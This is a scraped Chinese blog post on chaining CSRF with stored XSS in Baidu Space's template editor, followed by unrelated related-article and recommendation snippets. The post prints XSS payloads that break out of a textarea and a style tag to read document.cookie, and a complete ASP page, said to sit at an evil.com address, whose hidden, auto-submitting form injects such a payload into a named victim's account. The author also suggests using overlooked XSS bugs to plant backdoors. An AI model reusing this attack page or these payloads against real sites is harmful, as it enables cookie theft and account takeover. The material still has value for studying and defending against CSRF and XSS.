基于CSRF的XSS攻击
有些XSS不好利用啊,比如有些后台的XSS漏洞,你进不了别人的后台,怎么能 利用他的XSS漏洞呢?进得了别人的后台,还利用这个XSS漏洞干什么?其实这个时候可以种个后门(如果那是个持久型的XSS,这是后话)。有些被称为鸡 肋的XSS漏洞其实很多时候是因为没有找到合适的利用方式而已。
比如百度空间的自定义模板处,那里还有两处持久型的XSS漏洞,一个是在编辑CSS的textarea中写入这样的代 码</textarea><script>alert(‘xss’)< /script><textarea>,然后保存该模板后会出现跨站;还有一个是在编辑CSS的textarea中写入< /style><script>alert(document.cookie)< /script><style>,点击“预览”会出现跨站。这样的过程似乎只能跨自己?不对!利用CSRF可以使得这些不好利用的 XSS漏洞变得同样威力无穷。
比如:
一个攻击者构造的页面http://www.evil.com/csrf-xss-baiduhi.asp的代码如下:
<%
s = "<form method='post' action='http://hi.baidu.com/yuxi4n/commit'>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='ct'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssUse'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssColorID'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='-1' name='spCssLayoutID'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='http://hi.baidu.com/yuxi4n/modify/spcss/20f51f4f94129a36aec3ab11.css/edit' name='spRefURL'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='cm'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='</style><script>alert(document.cookie)</script><style>' name='spCssText'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='abc' name='spCssName'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='0' name='spCssTag'/>"
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)
%>
被攻击者yuxi4n访问这个链接时就被CSRF了,接着就是XSS的出现:)。XSS能做什么就做什么了。上面的CSRF代码提交了自定义模板表 单并执行了预览功能。预览的时候就跨了。CSRF可以做的很隐蔽。上次xKungfoo回来后和monyer聊的就是这个,当时百度C2C内某处的预览功 能就存在这样的XSS。很多人认为根本没办法利用,然后结合CSRF呢?monyer给他们演示后,现在这个漏洞被修补了。
同样的问题出现在很多网站上,恩,假如CSRF防御做得好的话就不用担心这个了,不过我们可以利用这样被忽略的XSS漏洞做后门,假如有这个机会的话。
基于CSRF的XSS攻击的更多相关文章
- 整理关于web项目如何防止CSRF和XSS攻击的方法
1 了解CSRF的定义 CSRF(Cross-site request forgery)跨站请求伪造,也被称为"One Click Attack"或者Session Riding, ...
- Cookie安全与CSRF和XSS攻击知识点收集
个人简单理解: 1.XSS最简单的理解就是可以在表单提交的内容上嵌入JS执行代码,然后页面渲染的时候没有过滤时会自动执行这个脚本. 2.CSRF可以理解为当你登录了京东,浏览器上保存了你登录的Cook ...
- CSRF与XSS攻击的原理与防范
CSRF 1.概念与原理 CSRF,跨站请求伪造,攻击方伪装用户身份发送请求从而窃取信息或者破坏系统.例如: 用户访问A网站登陆并生成了cookie,再访问B网站,如果A网站存在CSRF漏洞,此时B网 ...
- 前端Hack之XSS攻击个人学习笔记
简单概述 ** 此篇系本人两周来学习XSS的一份个人总结,实质上应该是一份笔记,方便自己日后重新回来复习,文中涉及到的文章我都会在末尾尽可能地添加上,此次总结是我在学习过程中所写,如有任 ...
- 基于dom的xss漏洞原理
原文:http://www.anying.org/thread-36-1-1.html转载必须注明原文地址最近看到网络上很多人都在说XSS我就借着暗影这个平台发表下自己对这一块的一些认识.其实对于XS ...
- 前端安全之XSS攻击
XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”.有人将XSS攻击分为三种,分别是: 1. Reflected XSS(基于反射 ...
- 黄聪:什么是XSS攻击
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中.比如这些代码包括HTML代码和客户端脚本.攻击者利用XSS漏洞旁路掉访问控制——例如同源 ...
- Django XSS攻击
Django XSS攻击 XSS(cross-site scripting跨域脚本攻击)攻击是最常见的web攻击,其特点是“跨域”和“客户端执行”,XSS攻击分为三种: Reflected XSS(基 ...
- 前端安全 -- XSS攻击
XSS漏洞是最广泛.作用最关键的web安全漏洞之一.在绝大多数网络攻击中都是把XSS作为漏洞链中的第一环,通过XSS,黑客可以得到的最直接利益就是拿到用户浏览器的cookie,从而变相盗取用户的账号密 ...
随机推荐
- node中--save跟--save--dev
--save参数表示将该模块写入dependencies属性, --save-dev表示将该模块写入devDependencies属性. dependencies字段指定了项目运行所依赖的模, d ...
- qtp录制时间控件不允许用户手动输入的解决办法
qtp录制时间控件不允许用户手动输入的解决办法 [前面的话] 一边学习qtp,一边用自己的项目试着写代码,而遇到一个问题就会让自己卡壳很久,这次也是这样的,在写好了登录代码以后,自己就试着写第一个预订 ...
- jquery.bootpag分页控件
<script src="//code.jquery.com/jquery-2.1.3.min.js"></script> <script src=& ...
- Ubuntu 虚拟机增强包下载
https://www.virtualbox.org/wiki/Download_Old_Builds_5_1 Extension Pack All Platforms 安装方法详情:https:// ...
- List 集合中 均匀的取七个点 的值
场景: 一个未知 长度的 List 集合,可能 长度为7,10,50,100, 等等 这个时候 ,我们需要在 集合中 均匀的取七个点: 思路: n=6; int size = list.Size(); ...
- 洛谷——P1123 取数游戏
P1123 取数游戏 题目描述 一个N×M的由非负整数构成的数字矩阵,你需要在其中取出若干个数字,使得取出的任意两个数字不相邻(若一个数字在另外一个数字相邻8个格子中的一个即认为这两个数字相邻),求取 ...
- Mysql远程连接报错:SQL Error (1130): Host '192.168.6.128' is not allowed to connect to this MySQL server
通过SQLyog连接linux中的MySQL报错问题:SQL Error (1130): Host '192.168.6.128' is not allowed to connect to this ...
- python3实践-从网站获取数据(Carbon Market Data-GD) (bs4/Beautifulsoup)
结合个人需求,从某个网站获取一些数据,发现网页链接是隐藏的,需要通过浏览器看后面的代码来获取真实的链接. 下面这个案例,直接是从真实的链接中爬去数据. 此外,发现用pandas的read_html不能 ...
- HashMap的实现原理 HashMap底层实现,hashCode如何对应bucket?
韩梦飞沙 韩亚飞 313134555@qq.com yue31313 han_meng_fei_sha 数组和链表组合成的链表散列结构,通过hash算法,尽量将数组中的数据分布均匀,如果has ...
- VB查询数据库之报表——机房收费系统总结(六)
我们要用一个软件做报表的模板.然后在VB里面添加部件.代码调用模板,详细步骤如下. 一.下载安装 首先做报表要下载安装Grid++Report 4.5 报表设计器 点击下载(内含破解补丁) 二.制作模 ...